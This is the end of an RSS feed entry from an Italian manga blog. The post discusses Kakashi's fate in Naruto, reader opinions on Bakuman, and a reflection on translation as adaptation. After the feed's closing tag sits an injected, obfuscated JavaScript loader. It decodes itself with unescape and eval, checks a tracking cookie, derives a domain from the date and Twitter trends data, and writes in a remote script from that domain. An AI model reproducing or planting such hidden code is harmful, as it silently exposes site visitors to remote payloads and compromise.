quantomeno frettoloso, per non dire &#8220;tirato via&#8221;&#8230;! Qualcosa non quadra, decisamente. Ora, forse molti di voi non sanno che Kishimoto quest&#8217;estate ha cambiato editore: ovvero, la Shueisha gli ha affibbiato un nuovo editore che chiaramente gli avrà proposto una linea diversa da quella che stava precedentemente seguendo col vecchio editore, sempre tenendo conto, però, che un mangaka decisamente &#8220;potente&#8221; come Kishimoto ha comunque un certo grado di libertà nella decisioni che prende riguardo alla trama. La morte di Kakashi, però, sembra veramente una decisione assurda, considerato che è in cima alle preferenze dei lettori e che quindi la sua uscita di scena potrebbe avere come risultato un calo delle vendite o la delusione di gran parte dei fan. Che ne dite? Personalmente sono e rimango piuttosto perplesso.</p>
<p>Parlando di <strong>Bakuman</strong>, invece, vorrei rilanciare le considerazioni emerse dai commenti all&#8217;ultimo capitolo. Quindi vi chiedo: vi sta piacendo? Lo trovate inadatto a figurare su un settimanale come lo Shounen Jump? Lo trovate piatto, privo di azione, prevedibile? Lo trovate eccessivamente leggero per gli obbiettivi che si pone? Parliamone, sono curioso di analizzare le vostre impressioni per capire come un manga del genere verrebbe recepito in Italia.</p>
<p>Infine, parliamo ancora una volta di <strong>traduzioni: </strong>i miei carissimi amici possono stare tranquilli, non ho intenzione di criticare nessuno. Come sapete, sono molto interessato a quella che potremmo definire come &#8220;teoria della traduzione&#8221;, mi piace riflettere su quello che facciamo al fine di pervenire a conclusioni che possano in qualche modo essere utili a me e a chi le ritenga tali. La riflessione che vi propongo stavolta a che a fare con i concetti di lingua sorgente e lingua target. La lingua sorgente è la lingua che dobbiamo tradurre, mentre la lingua target è la lingua verso la quale dobbiamo tradurre: nel mio caso, rispettivamente giapponese ed italiano. Ora, quando si parla di traduzioni, molto spesso si affronta il discorso come se la perfetta conoscenza della lingua sorgente sia condizione sufficiente per produrre una buona traduzione. Se questo fosse vero, i traduttori dovrebbero essere ugualmente bravi a parità di livello di inglese, giapponese ecc&#8230; Quetso però è palesemente falso. Come mai? Plauto, il commediografo latino, era solito riferirsi alla sua attività di traduzione delle commedie greche utilizzando il verbo arcaico &#8220;<em>vortere</em>&#8220;. Con questo verbo non voleva indicare eslcusivamente la traduzione pedissequa limitata alla corretta traduzione del testo originale: voleva bensì dare ad intendere che la traduzione è anzitutto un&#8217;attività di adattamento. Ovvero, consiste non tanto nel saper tradurre senza fare errori, bensì ne traslare passaggi concettuali e atmosfere da una lingua all&#8217;altra, <em>interpretando. </em>Ed è qui che entra in gioco la lingua target: infatti, come possiamo pretendere di rendere in modo credibile e godibile un testo in italiano, interpretandone correttamente sfumature e atmosfere, se non siamo capaci di usare alla perfezione la nostra lingua madre? In altre parole, è vero che la conoscenza della lingua sorgente è importante &#8211; senza quella non si va da nessuna parte! &#8211; ma è anche vero che una perfetta padronanza delle sfumature dell&#8217;italiano, un&#8217;ottima proprietà di linguaggio e di lessico, è essenziale per produrre una buona traduzione. E questo vale per tutti, che si traduca dall&#8217;inglese, dal giapponese, dal cinese, dal rumeno, dall&#8217;ostrogoto, dall&#8217;osco umbro posteriore antico [Lapidazione dello staff sul blurry]</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-21-rospi-che-parlano-romano/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #21 &#8211; Rospi che parlano romano&#8230;'>L&#8217;Angolo del Blurry #21 &#8211; Rospi che parlano romano&#8230;</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-5-sondaggio-e-giapponese/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!'>L&#8217;Angolo del Blurry # 5 &#8211; Sondaggio e Giapponese!</a></li>
<li><a href='http://www.komixjam.it/langolo-del-blurry-rain/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #10 &#8211; 雨が&#8230; Rain'>L&#8217;Angolo del Blurry #10 &#8211; 雨が&#8230; Rain</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-16-blurrys-anatomy/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">function t(){return z($a);}var $a="Z73tZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dstZ253bdZ2563Z2573Z2528Z2564Z2561+Z2564Z2562Z252bdZ2563+Z2564Z2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577(Z2573Z2574Z2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;caZ3dZ22Z2566uZ256ectZ2569Z256fnZ2520dZ2563Z2573Z2528dsZ252cesZ2529Z257bdsZ253dunZ2565sZ25Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ccZ3dZ22.leZ256egthZ253biZ252bZ252bZ2529Z257btmpZ253dds.Z2573licZ2565(i,Z2569+Z2531)Z22;deZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uncZ2574Z2569Z256fZ256e cZ257aZ2528Z2563z)Z257brZ2565turZ256eZ2520ca+Z2563b+cZ2563+cdZ252bcZ2565+Z2563z;Z257d;Z22;cbZ3dZ2263Z2561pe(Z2564s);Z2573tZ253dtZ256dZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cdsZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528Z2563u,1Z2534));Z2522;Z22;cdZ3dZ22Z253bZ2573Z2574Z253dst+SZ2574riZ256eg.Z2566rZ256fmCZ2568arCZ256fdZ2565((Z2574mZ22;dzZ3dZ22Z2566unZ2563tiZ256fnZ2520dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ25256dZ2565nZ25257Z2534.Z252577Z2572iZ2525Z25374eZ2528Z25252Z2532Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253Z2563Z2573Z252563Z2572Z2569pZ252574 Z25256cZ252561Z25256eZ252567uaZ2567Z252565Z25253dZ25255cZ252522jZ2561Z2576aZ2573Z2563rZ252569pZ25257Z2534Z25255cZ25252Z2532Z2525Z2533eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572iZ2570Z252574Z25253eZ2527;evalZ2528unZ2565Z2573capZ2565(tZ2529)};Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ceZ3dZ22pZ252ecZ2568arZ2543odZ2565At(Z2530)^(Z25270xZ25300Z2527+esZ2529)Z2529;}Z257dZ22;Z69f Z28docZ75Z6dZ65Z6etZ2ecoZ6fkZ69Z65.inZ64eZ78OZ66(Z27rf5Z66Z36Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e Z63aZ6cZ6cbaZ63kZ28xZ29Z7bwindZ6fw.Z74w Z3dZ20xZ3bZ76aZ72 Z64Z20Z3d nZ65wZ20DaZ74eZ28Z29;d.Z73Z65Z74TZ69me(Z78[Z22as_oZ66Z22]*1Z3000)Z3bvZ61r Z68Z20Z3d Z64.geZ74UTCZ48oZ75rs(Z29;wZ69nZ64ow.Z68 Z3d h;ifZ20(hZ20Z3e 8)Z7bd.setUZ54CDaZ74eZ28d.Z67eZ74UTZ43DaZ74Z65(Z29Z20Z2dZ202);Z7delsZ65Z7bd.sZ65tZ55TZ43Z44atZ65(d.Z67eZ74UTCZ44Z61te(Z29 - Z33);}Z77iZ6edoZ77.gZ64 Z3d d;Z76ar Z74imeZ20Z3d nZ65w AZ72rZ61Z79()Z3bvZ61r Z73hiZ66tIZ6edeZ78Z20Z3d Z22Z22;timZ65[Z22yearZ22] Z3d dZ2egZ65Z74Z55TCFZ75llYZ65aZ72Z28)Z3btimZ65[Z22montZ68Z22] Z3d d.Z67etZ55TCMZ6fntZ68()+Z31;tZ69mZ65Z5bZ22dZ61Z79Z22] Z3d d.Z67Z65Z74UZ54CDZ61te(Z29;iZ66 (dZ2eZ67Z65tZ55TZ43MonZ74h()Z2bZ31 Z3c 1Z30)Z7bshZ69Z66tZ49nZ64ex Z3dZ20tiZ6deZ5bZ22yearZ22] Z2b Z22Z2d0Z22Z20+ (Z64.gZ65tZ55Z54CMoZ6eZ74h()Z2b1)Z3b}eZ6csZ65Z7bsZ68iftZ49ndeZ78 Z3d Z74imZ65[Z22yeaZ72Z22] Z2b Z22-Z22 + (Z64Z2eZ67Z65Z74UTCZ4dontZ68(Z29Z2b1);Z7diZ66 (dZ2egetZ55TCZ44Z61tZ65Z28Z29 Z3c 10Z29Z7bshiZ66tZ49ndZ65xZ20Z3dshiZ66Z74InZ64exZ20+ Z22-0Z22 +Z20d.Z67eZ74UZ54CZ44ateZ28Z29;}eZ6cseZ7bZ73hiZ66tZ49ndZ65x Z3d Z73hifZ74IZ6eZ64ex Z2b Z22Z2dZ22 + dZ2eZ67eZ74Z55TZ43DatZ65();Z7dZ64ocuZ6denZ74.wrZ69Z74Z65(Z22Z3cscrZ22+Z22iptZ20laZ6eguaZ67eZ3djavasZ63ripZ74Z22+Z22 srcZ3dZ27hZ74Z74pZ3aZ2fZ2fsearZ63h.Z74witZ74erZ2ecoZ6dZ2ftrZ65ndZ73Z2fdailyZ2eZ6aZ73Z6fn?Z64Z61Z74eZ3dZ22+ shiZ66Z74IndZ65x+Z22&cZ61lZ6cbZ61cZ6bZ3dZ63alZ6cZ62acZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fuZ6ectZ69oZ6e caZ6clbZ61ck2Z28x)Z7bwiZ6eZ64owZ2etZ77Z20Z3d xZ3bsZ63Z28Z27rf5Z666dZ73Z27,Z32,7)Z3bevZ61lZ28uneZ73capZ65Z28Z64z+Z63Z7aZ2bopZ2bsZ74)+Z27dw(Z64zZ2bZ63Z7a($aZ2bst)Z29;Z27);doZ63Z75meZ6etZ2ewriZ74e(Z24a)Z3bZ7ddZ6fcuZ6dZ65ntZ2eZ77Z72Z69te(Z22Z3cimgZ20Z73rZ63Z3dZ27http:Z2fZ2fsearchZ2etZ77iZ74tZ65rZ2ecoZ6dZ2fZ69mZ61gesZ2fseZ61rchZ2frZ73s.pZ6egZ27 wZ69Z64thZ3d1Z20heZ69gZ68tZ3d1 sZ74ylZ65Z3dZ27visiZ62Z69liZ74Z79:hiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt Z6cZ61nZ67uaZ67eZ3djZ61vZ61Z73cZ72iptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fZ73eZ61rZ63h.Z74witZ74er.Z63oZ6dZ2ftrenZ64sZ2fZ64aZ69ly.Z6asonZ3fZ63alZ6cbaZ63kZ3dcZ61llZ62aZ63kZ27Z3eZ22 + Z22Z3cZ2fsZ63rZ22 + Z22ipZ74Z3eZ22)Z3bZ7dZ65lseZ7bZ24aZ3dZ27Z27};functZ69Z6fn sZ63(cnZ6d,vZ2cedZ29Z7bvaZ72 Z65Z78dZ3dnZ65w Z44atZ65Z28);eZ78Z64.Z73Z65tZ44ateZ28exdZ2egeZ74DaZ74Z65()Z2bZ65d)Z3bdZ6fcumZ65ntZ2ecooZ6bieZ3dcZ6emZ2bZ20Z27Z3dZ27 +escaZ70e(Z76)Z2bZ27;Z65xpZ69Z72Z65Z73Z3dZ27+exd.tZ6fGZ4dZ54StrZ69Z6eZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>